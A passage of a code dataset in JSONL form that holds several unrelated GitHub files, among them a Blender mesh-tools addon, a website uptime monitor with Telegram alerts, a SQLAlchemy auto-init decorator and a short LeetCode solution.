(\"ERROR | Texture : '\" + n + \"' is not external image\")\n return -1\n\n filepath = bpy.path.abspath (tex.image.filepath)\n\n shutil.copy (filepath, filepath + '.bak')\n\n print (filepath + '.bak')\n\n # log\n print ('')\n print ('Backup finished in %.4f sec.' % (time.clock () - start_time))\n\n return\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS SPLIT TEXTURE RESTORE\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processSplitTexRestore ():\n \n start_time = time.clock ()\n\n # shortcut\n scene = bpy.context.scene\n\n # log\n print ('\\nRestore starting... \\n')\n print ('')\n\n names = (scene.shift_mt_tex0,\n scene.shift_mt_tex1,\n scene.shift_mt_tex2,\n scene.shift_mt_tex3,\n scene.shift_mt_tex4,\n scene.shift_mt_tex5,\n scene.shift_mt_tex6,\n scene.shift_mt_tex7,\n scene.shift_mt_tex8,\n scene.shift_mt_tex9,\n scene.shift_mt_texA,\n scene.shift_mt_texB,\n scene.shift_mt_texC,\n scene.shift_mt_texD,\n scene.shift_mt_texE,\n scene.shift_mt_texF)\n \n for n in names :\n \n if (n != '') :\n try: tex = bpy.data.textures [n]\n except:\n print (\"ERROR | Cannot find texture : '\" + n + \"'\")\n return -1\n\n try : tex.image.filepath\n except :\n print (\"ERROR | Texture : '\" + n + \"' is not an image\")\n return -1\n \n if (tex.image.filepath == ''):\n print (\"ERROR | Texture : '\" + n + \"' is not external image\")\n return -1\n\n filepath = bpy.path.abspath (tex.image.filepath)\n\n try: shutil.copy (filepath + '.bak', filepath); print (filepath)\n except: print (filepath, \" : ERROR | Restore failed\")\n\n tex.image.reload ()\n\n #os.remove (filepath + '.bak')\n\n # update views\n for scr in bpy.data.screens:\n for area in scr.areas:\n area.tag_redraw ()\n\n # log\n print ('')\n print ('Restore finished in %.4f sec.' % (time.clock () - start_time))\n\n return\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS NONMANIFOLD\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processNonmanifold ():\n\n start_time = time.clock ()\n\n # shortcut\n scene = bpy.context.scene\n\n # shortcut\n selected = bpy.context.selected_objects\n\n # log\n print ('\\nSelection starting... \\n\\n\\tObjects (', len (selected), ') :')\n print ('')\n\n for i, obj in enumerate (selected):\n\n # is it mesh ?\n if obj and obj.type == 'MESH':\n\n # set active object\n scene.objects.active = obj\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n # saving vertex normals\n if scene.shift_mt_preserve :\n \n normals = [mathutils.Vector ((v.normal [0], v.normal [1], v.normal [2])) for v in obj.data.vertices]\n \n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n \n # vertex selection mode\n bpy.context.tool_settings.mesh_select_mode = (True, False, False)\n\n # unhide all faces\n bpy.ops.mesh.reveal ()\n \n # deselect all\n bpy.ops.mesh.select_all (action = 'DESELECT')\n\n # select non-manifold\n bpy.ops.mesh.select_non_manifold ()\n\n # invert selection\n if scene.shift_mt_invert :\n\n bpy.ops.mesh.select_all (action = 'INVERT')\n \n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n if scene.shift_mt_preserve :\n\n # restoring normals\n for v in obj.data.vertices: v.normal = normals [v.index]\n\n # clean up \n normals [:] = []\n\n # log\n print (i + 1, \"Object : '\", obj.name, \"'\")\n \n else:\n \n # log\n print (i + 1, \"Object : '\", obj.name, \"' is not a mesh\")\n \n # log \n print ('')\n print ('Selection finished in %.4f sec.' % (time.clock () - start_time))\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS MERGE\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processMerge ():\n\n start_time = time.clock ()\n\n # shortcut\n scene = bpy.context.scene\n\n # shortcut\n selected = bpy.context.selected_objects\n\n # do nothing\n if len (selected) < 2:\n\n return\n\n # set active object\n if not bpy.context.object:\n\n scene.objects.active = selected [0]\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n # join objects\n bpy.ops.object.join ()\n\n## # save all hair particles\n## if scene.shift_mt_mhair :\n##\n## # save hair here\n \n # remove doubles\n if scene.shift_mt_mdouble :\n \n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n\n # vertex selection mode\n bpy.context.tool_settings.mesh_select_mode = (True, False, False)\n\n # unhide all faces\n bpy.ops.mesh.reveal ()\n\n # select all\n bpy.ops.mesh.select_all (action = 'SELECT')\n\n # remove doubles\n bpy.ops.mesh.remove_doubles ()\n\n## # restore particles\n## if scene.shift_mt_mhair :\n##\n## # restore hair here\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n \n # log \n print ('')\n print ('Merge finished in %.4f sec.' % (time.clock () - start_time))\n \n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### INTEGRATION AND GUI\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\nclass MeshToolsTriangulateOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_triangulate_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Convert mesh quads to triangles on selected objects\"\n bl_register = True\n bl_undo = True\n \n def execute (self, context):\n\n processTriangulate ()\n\n return {'FINISHED'}\n\nclass MeshToolsGridSplitterOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_gridsplitter_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Split selected mesh to multiple meshes by uniform grid\"\n bl_register = True\n bl_undo = False\n \n def execute (self, context):\n\n result = []\n\n selected = list (bpy.context.selected_objects)\n\n if (len (selected) >= 1):\n\n # set some active object\n bpy.context.scene.objects.active = selected [0]\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n \n for obj in selected:\n\n # deselect all\n bpy.ops.object.select_all (action = 'DESELECT')\n\n # split\n processSplitGrid (obj)\n\n # add created objects to the list ..\n sel = bpy.context.selected_objects\n \n for o in sel: result.append (o)\n\n # select created objects\n for obj in result: obj.select = True\n\n # clean up\n selected [:] = []\n result [:] = []\n\n return {'FINISHED'}\n\nclass MeshToolsTexSplitterSplitOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_texsplitter_split_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Split selected mesh to multiple meshes by texture overlapping areas\"\n bl_register = True\n bl_undo = False\n \n def execute (self, context):\n\n processSplitTex (mode = 'SPLIT')\n\n return {'FINISHED'}\n \nclass MeshToolsTexSplitterUnveilOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_texsplitter_unveil_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Unveil over-overlapped areas of mask textures\"\n bl_register = True\n bl_undo = False\n \n def execute (self, context):\n\n processSplitTex (mode = 'UNVEIL')\n\n return {'FINISHED'}\n \nclass MeshToolsTexSplitterPolishOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_texsplitter_polish_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Polish 'weak' parts and remove holes by neighbour interpolation\"\n bl_register = True\n bl_undo = False\n \n def execute (self, context):\n\n processSplitTex (mode = 'POLISH')\n\n return {'FINISHED'}\n \nclass MeshToolsTexSplitterMergeOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_texsplitter_merge_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Merges multiple meshes with compatible tex. mask until max. ovelapping value is reached\"\n bl_register = True\n bl_undo = False\n \n def execute (self, context):\n\n processSplitTexMerge ()\n\n return {'FINISHED'}\n \nclass MeshToolsTexSplitterGenerateOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_texsplitter_generate_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Generate RGB/RGBA images that are combinations of input textures using 'splittex*' custom properties of selected objects.\"\n bl_register = True\n bl_undo = False\n \n def execute (self, context):\n\n processSplitTexGenerate ()\n\n return {'FINISHED'}\n \nclass MeshToolsTexSplitterBackupOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_texsplitter_backup_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Make a copy of all images in their source directory adding '.bak' extension.\"\n bl_register = True\n bl_undo = False\n \n def execute (self, context):\n\n processSplitTexBackup ()\n\n return {'FINISHED'}\n \nclass MeshToolsTexSplitterRestoreOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_texsplitter_restore_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \".\"\n bl_register = True\n bl_undo = False\n \n def execute (self, context):\n\n processSplitTexRestore ()\n\n return {'FINISHED'}\n \nclass MeshToolsNonmanifoldOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_nonmanifold_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Selects nonmanifold vertices on multiple meshes\"\n bl_register = True\n bl_undo = True\n \n def execute (self, context):\n\n processNonmanifold ()\n\n return {'FINISHED'}\n \nclass MeshToolsMergeOp (bpy.types.Operator):\n\n bl_idname = \"object.meshtools_merge_operator\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_description = \"Merges mesh objects performing some special operations\"\n bl_register = True\n bl_undo = True\n \n def execute (self, context):\n\n processMerge ()\n\n return {'FINISHED'}\n \nclass MeshToolsPanel (bpy.types.Panel):\n \n bl_idname = \"object.meshtools__panel\"\n bl_label = \"SHIFT - Mesh Tools\"\n bl_context = \"objectmode\"\n bl_register = True\n bl_undo = True\n\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'TOOLS'\n\n def draw (self, context):\n \n layout = self.layout\n \n box = layout.box ()\n box.operator ('object.meshtools_triangulate_operator', 'Triangulate')\n\n box = layout.box ()\n box.operator ('object.meshtools_merge_operator', 'Merge')\n box = box.box ()\n box.prop (context.scene, 'shift_mt_mhair')\n \n box = layout.box ()\n box.operator ('object.meshtools_gridsplitter_operator', 'Split')\n \n split = (box.box ()).split (align = True, percentage = 0.5)\n \n if (context.scene.shift_mt_spatial):\n \n col = split.column (align = False)\n col.label ('Cluster Size X :')\n col.label ('Cluster Size Y :')\n col.label ('Cluster Size Z :')\n col = split.column (align = True)\n col.prop (context.scene, 'shift_mt_clusterx')\n col.prop (context.scene, 'shift_mt_clustery')\n col.prop (context.scene, 'shift_mt_clusterz')\n \n else:\n col = split.column (align = False)\n col.label ('Subdivision X :')\n col.label ('Subdivision Y :')\n col.label ('Subdivision Z :')\n col = split.column (align = True)\n col.prop (context.scene, 'shift_mt_subdivisionx')\n col.prop (context.scene, 'shift_mt_subdivisiony')\n col.prop (context.scene, 'shift_mt_subdivisionz')\n \n box.box ().prop (context.scene, 'shift_mt_minfaces')\n \n box = box.box ()\n box.prop (context.scene, 'shift_mt_spatial')\n box.prop (context.scene, 'shift_mt_particles')\n\n box = layout.box ()\n box.operator ('object.meshtools_texsplitter_split_operator', 'Split')\n\n split = box.split (align = True, percentage = 0.5)\n col = split.column (align = False)\n col.label ('max. Overlapping :')\n col = split.column (align = True)\n col.prop (context.scene, 'shift_mt_overlap')\n\n box = box.box (); boxs = box;\n \n if (bpy.context.object) and (bpy.context.object.type == 'MESH'):\n\n if (bpy.context.object.data.uv_textures.active):\n \n (box.box ()).label ('UV : ' + bpy.context.object.data.uv_textures.active.name)\n \n split = box.split (align = True, percentage = 0.35)\n col = split.column (align = True)\n col.label ('Texture 0 :')\n col.label ('Texture 1 :')\n col.label ('Texture 2 :')\n col.label ('Texture 3 :')\n col.label ('Texture 4 :')\n col.label ('Texture 5 :')\n col.label ('Texture 6 :')\n col.label ('Texture 7 :')\n col.label ('Texture 8 :')\n col.label ('Texture 9 :')\n col.label ('Texture A :')\n col.label ('Texture B :')\n col.label ('Texture C :')\n col.label ('Texture D :')\n col.label ('Texture E :')\n col.label ('Texture F :')\n col = split.column (align = True)\n col.prop (context.scene, 'shift_mt_tex0')\n col.prop (context.scene, 'shift_mt_tex1')\n col.prop (context.scene, 'shift_mt_tex2')\n col.prop (context.scene, 'shift_mt_tex3')\n col.prop (context.scene, 'shift_mt_tex4')\n col.prop (context.scene, 'shift_mt_tex5')\n col.prop (context.scene, 'shift_mt_tex6')\n col.prop (context.scene, 'shift_mt_tex7')\n col.prop (context.scene, 'shift_mt_tex8')\n col.prop (context.scene, 'shift_mt_tex9')\n col.prop (context.scene, 'shift_mt_texA')\n col.prop (context.scene, 'shift_mt_texB')\n col.prop (context.scene, 'shift_mt_texC')\n col.prop (context.scene, 'shift_mt_texD')\n col.prop (context.scene, 'shift_mt_texE')\n col.prop (context.scene, 'shift_mt_texF')\n \n box_ = box.box () \n box_.operator ('object.meshtools_texsplitter_backup_operator', 'Backup')\n box_.operator ('object.meshtools_texsplitter_restore_operator', 'Restore')\n\n box_ = box.box () \n box_.operator ('object.meshtools_texsplitter_merge_operator', 'Merge')\n \n box = box.box ()\n box.operator ('object.meshtools_texsplitter_unveil_operator', 'Unveil')\n box.operator ('object.meshtools_texsplitter_polish_operator', 'Polish')\n col = box.column (align = False)\n split = col.split (align = True, percentage = 0.5)\n split.label (\"Antialiasing :\")\n split.prop (context.scene, 'shift_mt_kernel_antialias', text = \"\")\n split = col.split (align = True, percentage = 0.5)\n split.label (\"Scan :\")\n split.prop (context.scene, 'shift_mt_kernel_scan', text = \"\")\n col.separator ()\n split = col.split (align = True, percentage = 0.45)\n split.label (\"texel Tolerancy :\"); split.enabled = False\n split.prop (context.scene, 'shift_mt_tolerancyt', text = \"\")\n split = col.split (align = True, percentage = 0.45)\n split.label (\"face Tolerancy :\"); split.enabled = False\n split.prop (context.scene, 'shift_mt_tolerancyf', text = \"\")\n box_ = box.box ()\n col = box_.column (); col.enabled = False\n col.prop (context.scene, 'shift_mt_saveimages')\n box_.prop (context.scene, 'shift_mt_selectedfaces')\n\n box = boxs.box ()\n box.operator ('object.meshtools_texsplitter_generate_operator', 'Generate')\n box.prop (context.scene, 'shift_mt_generate_path')\n box = box.box ()\n box.prop (context.scene, 'shift_mt_generate_prop')\n box = box.box ()\n box.prop (context.scene, 'shift_mt_generate_mat')\n\n box = layout.box ()\n split = box.split (align = True, percentage = 0.7)\n split.operator ('object.meshtools_nonmanifold_operator', 'Select Non - Manifold')\n split.prop (context.scene, 'shift_mt_invert')\n\n box = layout.box ()\n box.prop (context.scene, 'shift_mt_preserve')\n box.prop (context.scene, 'shift_mt_mdouble')\n \ndef register ():\n\n bpy.utils.register_module (__name__)\n\n # options\n\n # ----------------------------------------------------------\n bpy.types.Scene.shift_mt_subdivisionx = IntProperty (\n name = \"\",\n description = \"Subdivision level\",\n min = 1,\n max = 16,\n step = 1,\n default = 1)\n bpy.types.Scene.shift_mt_subdivisiony = IntProperty (\n name = \"\",\n description = \"Subdivision level\",\n min = 1,\n max = 16,\n step = 1,\n default = 1) \n bpy.types.Scene.shift_mt_subdivisionz = IntProperty (\n name = \"\",\n description = \"Subdivision level\",\n min = 1,\n max = 16,\n step = 1,\n default = 1)\n \n # ----------------------------------------------------------\n bpy.types.Scene.shift_mt_clusterx = FloatProperty (\n name = \"\",\n description = \"Cluster X size\",\n min = 0.01,\n max = 1000.0,\n precision = 2,\n step = 0.1,\n subtype = 'DISTANCE',\n default = 1.0)\n bpy.types.Scene.shift_mt_clustery = FloatProperty (\n name = \"\",\n description = \"Cluster Y size\",\n min = 0.01,\n max = 1000.0,\n precision = 2,\n step = 0.1,\n subtype = 'DISTANCE',\n default = 1.0) \n bpy.types.Scene.shift_mt_clusterz = FloatProperty (\n name = \"\",\n description = \"Cluster Z size\",\n min = 0.01,\n max = 1000.0,\n precision = 2,\n step = 0.1,\n subtype = 'DISTANCE',\n default = 1.0) \n \n # ----------------------------------------------------------s\n bpy.types.Scene.shift_mt_overlap = IntProperty (\n name = \"\",\n description = \"Maximum overlaping textures\",\n min = 2,\n max = 4,\n step = 1,\n default = 1)\n\n # ----------------------------------------------------------s\n bpy.types.Scene.shift_mt_tolerancyt = FloatProperty (\n name = \"texel tolerancy\",\n description = \"tolerancy factor to ignore subtle over-overlapped texels\",\n min = 0.0,\n max = 100.0,\n precision = 2,\n step = 1.0,\n subtype = 'PERCENTAGE',\n default = 0.0)\n bpy.types.Scene.shift_mt_tolerancyf = FloatProperty (\n name = \"face tolarancy\",\n description = \"tolerancy factor to ignore subtle over-overlapped texels within face\",\n min = 0.0,\n max = 100.0,\n precision = 2,\n step = 1.0,\n subtype = 'PERCENTAGE',\n default = 0.0)\n bpy.types.Scene.shift_mt_kernel_antialias = IntProperty (\n name = \"antialiasing kernel\",\n description = \"specifies how much are neighbour texels blurred (antialiased) when ignored texel are set to zero\",\n min = 0,\n max = 32,\n step = 1,\n default = 1)\n bpy.types.Scene.shift_mt_kernel_scan = IntProperty (\n name = \"scanning kernel\",\n description = \"specifies how much are neighbour texels are taking into consideration while choosing right layer to shape out\",\n min = 0,\n max = 32,\n step = 1,\n default = 1)\n \n # ----------------------------------------------------------s\n bpy.types.Scene.shift_mt_tex0 = StringProperty (\n# name = \"Texture 0.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex1 = StringProperty (\n# name = \"Texture 1.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex2 = StringProperty (\n# name = \"Texture 2.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex3 = StringProperty (\n# name = \"Texture 3.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex4 = StringProperty (\n# name = \"Texture 4.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex5 = StringProperty (\n# name = \"Texture 5.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex6 = StringProperty (\n# name = \"Texture 6.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex7 = StringProperty (\n# name = \"Texture 7.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex8 = StringProperty (\n# name = \"Texture 8.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_tex9 = StringProperty (\n# name = \"Texture 9.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_texA = StringProperty (\n# name = \"Texture A.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_texB = StringProperty (\n# name = \"Texture B.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_texC = StringProperty (\n# name = \"Texture C.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_texD = StringProperty (\n# name = \"Texture D.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_texE = StringProperty (\n# name = \"Texture E.\",\n description = \"Texture mask\",\n default = \"\")\n bpy.types.Scene.shift_mt_texF = StringProperty (\n# name = \"Texture F.\",\n description = \"Texture mask\",\n default = \"\")\n\n # ----------------------------------------------------------\n bpy.types.Scene.shift_mt_minfaces = IntProperty (\n name = \"min. faces\",\n description = \"Minimum face-count for new objects\",\n min = 1,\n max = 10000,\n step = 1,\n default = 32)\n\n # ----------------------------------------------------------\n bpy.types.Scene.shift_mt_invert = BoolProperty (\n name = \"Invert\",\n description = \"Invert Selection\",\n default = False)\n bpy.types.Scene.shift_mt_preserve = BoolProperty (\n name = \"Preserve Vertex Normals\",\n description = \"Preserves vertex normals\",\n default = False)\n bpy.types.Scene.shift_mt_particles = BoolProperty (\n name = \"Split Hair\",\n description = \"Creates new particles system settings and restore original particle positions\",\n default = False)\n bpy.types.Scene.shift_mt_spatial = BoolProperty (\n name = \"Spatial Grid\",\n description = \"Using spatial grid insead of division grid, parameters define grid element dimensions\",\n default = True)\n bpy.types.Scene.shift_mt_saveimages = BoolProperty (\n name = \"Save Edited Images\",\n description = \"Save all edits into original image files (DESTRUCTIVE !)\",\n default = False)\n bpy.types.Scene.shift_mt_selectedfaces = BoolProperty (\n name = \"Unveil Selected Faces\",\n description = \"Use face selection within selected mesh\",\n default = False)\n \n # ----------------------------------------------------------\n bpy.types.Scene.shift_mt_mhair = BoolProperty (\n name = \"Merge Hair\",\n description = \"Merge hair particles systems preserving particles\",\n default = False)\n bpy.types.Scene.shift_mt_mdouble = BoolProperty (\n name = \"Remove Doubles\",\n description = \"Remove vertex duplicity after merge\",\n default = True)\n\n # ----------------------------------------------------------\n bpy.types.Scene.shift_mt_generate_mat = BoolProperty (\n name = \"Generate Materials\",\n description = \"Duplicates original material for each split with new appropriate name\",\n default = True)\n bpy.types.Scene.shift_mt_generate_path = StringProperty (\n name = \"\",\n description = \"Full path or destination directory\",\n default = \"\",\n subtype = 'FILE_PATH')\n bpy.types.Scene.shift_mt_generate_prop = StringProperty (\n name = \"Property\",\n description = \"If not empty contains the name of custom property to be filled with new mask texture name within generated material\",\n default = \"\")\n \n \ndef unregister ():\n\n bpy.utils.unregister_module (__name__)\n \nif __name__ == \"__main__\":\n \n register ()\n","repo_name":"andrej-szontagh/blender-addons","sub_path":"src/addons/shift_meshtools.py","file_name":"shift_meshtools.py","file_ext":"py","file_size_in_byte":86253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25634100985","text":"from email.policy import default\nimport click\n\nfrom libs import hello\n\n@click.command()\n@click.option('--name', '-n', \n type=str, required=False, \n default=__file__\n)\ndef main(name):\n hello.hello_from(name)\n\nif __name__ == '__main__':\n main()\n","repo_name":"eliassone/vscode_dummy","sub_path":"src/entries/helloapp.py","file_name":"helloapp.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30089733760","text":"import time\nimport sys\nfrom datetime import datetime\nimport requests\nimport telegram\nfrom pathlib import Path\nfrom threading import Thread\nimport configparser\nimport logging_lib\nimport logging\n\n\nclass Monitor(object):\n running = True\n state = 'up'\n last_fail_time = None\n has_called = False\n fail_counter = 0\n\n def __init__(self):\n self.configs = configparser.ConfigParser()\n path = Path.home() / 'website_monitor.ini'\n self.configs.read(path)\n self.host = self.configs['Website']['url']\n self.title = self.configs['Website']['title']\n self.timeout = int(self.configs['main']['timeout'])\n self.sleep = int(self.configs['main']['sleep'])\n self.fail_counts = int(self.configs['main']['fails']) - 1\n self.fail_sleep = int(self.configs['main']['fail_sleep'])\n\n def start(self):\n session = requests.Session()\n while self.running:\n result = 'fail'\n try:\n response = session.get(self.host, timeout=self.timeout)\n if response.status_code == 200:\n result = 'success'\n except requests.exceptions.RequestException as e:\n if self.configs['main']['log_errors'] == 'true':\n logging_lib.log.logger.exception(e)\n if result == 'fail':\n self.fail_counter += 1\n if self.fail_counter > self.fail_counts:\n self.website_down()\n self.fail_counter = 0\n else:\n self.website_up()\n self.fail_counter = 0\n if self.fail_counter:\n time.sleep(self.fail_sleep)\n else:\n time.sleep(self.sleep)\n\n def website_up(self):\n if self.state == 'down':\n self.state = 'up'\n self.tg_alert()\n\n def website_down(self):\n if self.state == 'up':\n self.state = 'down'\n self.last_fail_time = datetime.now()\n self.tg_alert()\n return\n if not self.has_called:\n now = datetime.now()\n # it's been down for more than 10 minutes\n if (now - self.last_fail_time).total_seconds() > 600:\n self.call_alert()\n self.has_called = True\n\n def tg_alert(self):\n chat_ids = self.configs['Telegram']['accounts'].split(',')\n msg = self.get_alert_message()\n for chat_id in chat_ids:\n self.telegram_send(chat_id, msg)\n\n def telegram_send(self, chat_id, msg):\n bot_token = self.configs['Telegram']['token']\n bot = telegram.Bot(token=bot_token)\n bot.send_message(chat_id, msg, telegram.ParseMode.HTML)\n\n def get_alert_message(self):\n if self.state == 'down':\n return \"❌ Host {} is down.\".format(self.title)\n return \"✅ Host {} is up\".format(self.title)\n\n def call_alert(self):\n # TODO: implement alert with voice call\n pass\n\n\nif __name__ == \"__main__\":\n # redirect stdout and stderr to log file\n sys.stderr = logging_lib.MyLogger(logging_lib.log.logger, logging.ERROR)\n sys.stdout = logging_lib.MyLogger(logging_lib.log.logger, logging.INFO)\n\n monitor = Monitor()\n discovery_thread = Thread(target=monitor.start, args=[])\n discovery_thread.daemon = True\n discovery_thread.start()\n\n while True:\n time.sleep(10)\n","repo_name":"mehrdadbahri/website_monitor","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70760311557","text":"\"\"\"Main module.\"\"\"\n\nfrom __future__ import annotations\n\nfrom functools import wraps\nfrom typing import Union\n\nfrom sqlalchemy.orm import MANYTOMANY, MANYTOONE, ONETOMANY\nfrom sqlalchemy.orm.decl_api import DeclarativeMeta\nfrom sqlalchemy.orm.mapper import Mapper\nfrom sqlalchemy.orm.relationships import RelationshipProperty\nfrom sqlalchemy.sql.base import ColumnCollection\nfrom sqlalchemy.util._collections import ImmutableProperties\n\nfrom ._handler import AutoInitializer\nfrom .config import AutoInitConfig\n\n\ndef auto_init(exclude: Union[set, list] = None, config: AutoInitConfig = None): # sourcery no-metrics\n \"\"\"Wraps the `__init__` method of a class to automatically set the common\n attributes.\n\n Args:\n exclude (Union[set, list], optional): [description]. Defaults to None.\n \"\"\"\n\n exclude = exclude or set()\n exclude.add(\"id\")\n\n def decorator(init):\n @wraps(init)\n def wrapper(self: DeclarativeMeta, *args, **kwargs): # sourcery no-metrics\n \"\"\"\n Custom initializer that allows nested children initialization.\n Only keys that are present as instance's class attributes are allowed.\n These could be, for example, any mapped columns or relationships.\n\n Code inspired from GitHub.\n Ref: https://github.com/tiangolo/fastapi/issues/2194\n \"\"\"\n cls = self.__class__\n\n # Accesses the underlying table from the parent class of `self` to determine the primary key name\n # 'id' in most cases\n alchemy_mapper: Mapper = self.__mapper__\n\n model_columns: ColumnCollection = alchemy_mapper.columns\n relationships: ImmutableProperties = alchemy_mapper.relationships\n\n session = kwargs.get(\"session\", None)\n\n initializer = AutoInitializer(session, config)\n\n if session is None:\n raise ValueError(\"Session is required to initialize the model with `auto_init`\")\n\n for key, val in kwargs.items():\n if key in exclude:\n continue\n\n if not hasattr(cls, key):\n continue\n # raise TypeError(f\"Invalid keyword argument: {key}\")\n\n if key in model_columns:\n setattr(self, key, val)\n continue\n\n if key in relationships:\n prop: RelationshipProperty = relationships[key]\n\n # Identifies the type of relationship (ONETOMANY, MANYTOONE, many-to-one, many-to-many)\n relation_dir = prop.direction\n\n # Identifies the parent class of the related object.\n relation_cls: DeclarativeMeta = prop.mapper.entity\n\n # Identifies if the relationship was declared with use_list=True\n use_list: bool = prop.uselist\n\n get_attr = initializer.lookup_attr(relation_cls)\n\n if relation_dir == ONETOMANY and use_list:\n instances = initializer.handle_one_to_many_list(get_attr, relation_cls, val)\n setattr(self, key, instances)\n\n elif relation_dir == ONETOMANY:\n instance = relation_cls(**val)\n setattr(self, key, instance)\n\n elif relation_dir == MANYTOONE and not use_list:\n if isinstance(val, dict):\n val = val.get(get_attr)\n\n if val is None:\n raise ValueError(f\"Expected 'id' to be provided for {key}\")\n\n if isinstance(val, (str, int)):\n instance = session.query(relation_cls).filter_by(**{get_attr: val}).one_or_none()\n setattr(self, key, instance)\n\n elif relation_dir == MANYTOMANY:\n instances = initializer.handle_many_to_many(get_attr, relation_cls, val)\n setattr(self, key, instances)\n\n return init(self, *args, **kwargs)\n\n return wrapper\n\n return decorator\n","repo_name":"hay-kot/autoalchemy","sub_path":"autoalchemy/autoalchemy.py","file_name":"autoalchemy.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72743439877","text":"class Solution:\n def largestMerge(self, word1: str, word2: str) -> str:\n word1=list(word1)\n word2=list(word2)\n merge=[]\n \n while word1 and word2:\n if word1 > word2:\n merge.append(word1.pop(0))\n else:\n merge.append(word2.pop(0))\n merge.extend(word1)\n merge.extend(word2)\n \n return \"\".join(merge)\n\n ","repo_name":"Yabsera-Haile/A2SV","sub_path":"1754-largest-merge-of-two-strings/1754-largest-merge-of-two-strings.py","file_name":"1754-largest-merge-of-two-strings.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20160195871","text":"from typing import Union, Any\nfrom atri_react.Flex import Flex\nfrom atri_react.TextBox import TextBox\nfrom atri_react.Image import Image\nfrom atri_react.Anchor import Anchor\n\n\n \nclass Page:\n\tdef __init__(self, state: Union[Any, None]):\n\t\tself.event_data = None\n\t\tself.event_alias = None\n\t\tself._setter_access_tracker = {}\n\t\tself.container = state[\"container\"] if \"container\" in state else None\n\t\tself.TextBox7 = state[\"TextBox7\"] if \"TextBox7\" in state else None\n\t\tself.TextBox8 = state[\"TextBox8\"] if \"TextBox8\" in state else None\n\t\tself.TextBox9 = state[\"TextBox9\"] if \"TextBox9\" in state else None\n\t\tself.TextBox10 = state[\"TextBox10\"] if \"TextBox10\" in state else None\n\t\tself.TextBox11 = state[\"TextBox11\"] if \"TextBox11\" in state else None\n\t\tself.Image1 = state[\"Image1\"] if \"Image1\" in state else None\n\t\tself.Anchor7 = state[\"Anchor7\"] if \"Anchor7\" in state else None\n\t\tself.Anchor8 = state[\"Anchor8\"] if \"Anchor8\" in state else None\n\t\tself.Anchor9 = state[\"Anchor9\"] if \"Anchor9\" in state else None\n\t\tself.Anchor10 = state[\"Anchor10\"] if \"Anchor10\" in state else None\n\t\tself.Anchor11 = state[\"Anchor11\"] if \"Anchor11\" in state else None\n\t\tself.Anchor12 = state[\"Anchor12\"] if \"Anchor12\" in state else None\n\t\tself.Flex6 = state[\"Flex6\"] if 